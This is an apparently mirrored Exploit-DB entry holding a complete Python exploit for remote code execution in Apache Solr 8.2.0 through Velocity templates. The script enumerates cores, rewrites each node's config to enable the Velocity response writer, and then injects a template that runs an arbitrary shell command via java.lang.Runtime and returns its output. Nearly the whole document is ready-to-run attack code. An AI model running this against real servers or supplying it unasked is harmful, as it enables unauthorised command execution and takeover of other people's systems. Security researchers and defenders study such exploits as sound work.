Apache Solr 8.2.0 – Remote Code Execution

  • 作者: @l3x_wong
    日期: 2019-11-01
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/47572/
  • # Title: Apache Solr 8.2.0 - Remote Code Execution
    # Date: 2019-11-01
    # Author: @l3x_wong
    # Vendor: https://lucene.apache.org/solr/
    # Software Link: https://lucene.apache.org/solr/downloads.html
    # CVE: N/A
    # github: https://github.com/AleWong/Apache-Solr-RCE-via-Velocity-template
    
    # usage: python3 script.py ip [port [command]]
    #default port=8983
    #default command=whoami
    # note:
    # Step1: Init Apache Solr Configuration
    # Step2: Remote Exec in Every Solr Node
    
    import sys
    import json
    import time
    import requests
    
    
    class initSolr(object):
    
    timestamp_s = str(time.time()).split('.')
    timestamp = timestamp_s[0] + timestamp_s[1][0:-3]
    
    def __init__(self, ip, port):
    self.ip = ip
    self.port = port
    
    def get_nodes(self):
    payload = {
    '_': self.timestamp,
    'indexInfo': 'false',
    'wt': 'json'
    }
    url = 'http://' + self.ip + ':' + self.port + '/solr/admin/cores'
    
    try:
    nodes_info = requests.get(url, params=payload, timeout=5)
    node = list(nodes_info.json()['status'].keys())
    state = 1
    except:
    node = ''
    state = 0
    
    if node:
    return {
    'node': node,
    'state': state,
    'msg': 'Get Nodes Successfully'
    }
    else:
    return {
    'node': None,
    'state': state,
    'msg': 'Get Nodes Failed'
    }
    
    def get_system(self):
    payload = {
    '_': self.timestamp,
    'wt': 'json'
    }
    url = 'http://' + self.ip + ':' + self.port + '/solr/admin/info/system'
    try:
    system_info = requests.get(url=url, params=payload, timeout=5)
    os_name = system_info.json()['system']['name']
    os_uname = system_info.json()['system']['uname']
    os_version = system_info.json()['system']['version']
    state = 1
    
    except:
    os_name = ''
    os_uname = ''
    os_version = ''
    state = 0
    
    return {
    'system': {
    'name': os_name,
    'uname': os_uname,
    'version': os_version,
    'state': state
    }
    }
    
    
    class apacheSolrRCE(object):
    
    def __init__(self, ip, port, node, command):
    self.ip = ip
    self.port = port
    self.node = node
    self.command = command
    self.url = "http://" + self.ip + ':' + self.port + '/solr/' + self.node
    
    def init_node_config(self):
    url = self.url + '/config'
    payload = {
    'update-queryresponsewriter': {
    'startup': 'lazy',
    'name': 'velocity',
    'class': 'solr.VelocityResponseWriter',
    'template.base.dir': '',
    'solr.resource.loader.enabled': 'true',
    'params.resource.loader.enabled': 'true'
    }
    }
    try:
    res = requests.post(url=url, data=json.dumps(payload), timeout=5)
    if res.status_code == 200:
    return {
    'init': 'Init node config successfully',
    'state': 1
    }
    else:
    return {
    'init': 'Init node config failed',
    'state': 0
    }
    except:
    return {
    'init': 'Init node config failed',
    'state': 0
    }
    
    def rce(self):
    url = self.url + ("/select?q=1&&wt=velocity&v.template=custom&v.template.custom="
    "%23set($x=%27%27)+"
    "%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+"
    "%23set($chr=$x.class.forName(%27java.lang.Character%27))+"
    "%23set($str=$x.class.forName(%27java.lang.String%27))+"
    "%23set($ex=$rt.getRuntime().exec(%27" + self.command +
    "%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+"
    "%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end")
    try:
    res = requests.get(url=url, timeout=5)
    if res.status_code == 200:
    try:
    if res.json()['responseHeader']['status'] == '0':
    return 'RCE failed @Apache Solr node %s\n' % self.node
    else:
    return 'RCE failed @Apache Solr node %s\n' % self.node
    except:
    return 'RCE Successfully @Apache Solr node %s\n %s\n' % (self.node, res.text.strip().strip('0'))
    
    else:
    return 'RCE failed @Apache Solr node %s\n' % self.node
    except:
    return 'RCE failed @Apache Solr node %s\n' % self.node
    
    
    def check(ip, port='8983', command='whoami'):
    system = initSolr(ip=ip, port=port)
    if system.get_nodes()['state'] == 0:
    print('No Nodes Found. Remote Exec Failed!')
    else:
    nodes = system.get_nodes()['node']
    systeminfo = system.get_system()
    os_name = systeminfo['system']['name']
    os_version = systeminfo['system']['version']
    print('OS Realese: %s, OS Version: %s\nif remote exec failed, '
    'you should change your command with right os platform\n' % (os_name, os_version))
    
    for node in nodes:
    res = apacheSolrRCE(ip=ip, port=port, node=node, command=command)
    init_node_config = res.init_node_config()
    if init_node_config['state'] == 1:
    print('Init node %s Successfully, exec command=%s' % (node, command))
    result = res.rce()
    print(result)
    else:
    print('Init node %s Failed, Remote Exec Failed\n' % node)
    
    
    if __name__ == '__main__':
    usage = ('python3 script.py ip [port [command]]\n '
     '\t\tdefault port=8983\n '
     '\t\tdefault command=whoami')
    
    if len(sys.argv) == 4:
    ip = sys.argv[1]
    port = sys.argv[2]
    command = sys.argv[3]
    check(ip=ip, port=port, command=command)
    elif len(sys.argv) == 3:
    ip = sys.argv[1]
    port = sys.argv[2]
    check(ip=ip, port=port)
    elif len(sys.argv) == 2:
    ip = sys.argv[1]
    check(ip=ip)
    else:
    print('Usage: %s:\n' % usage)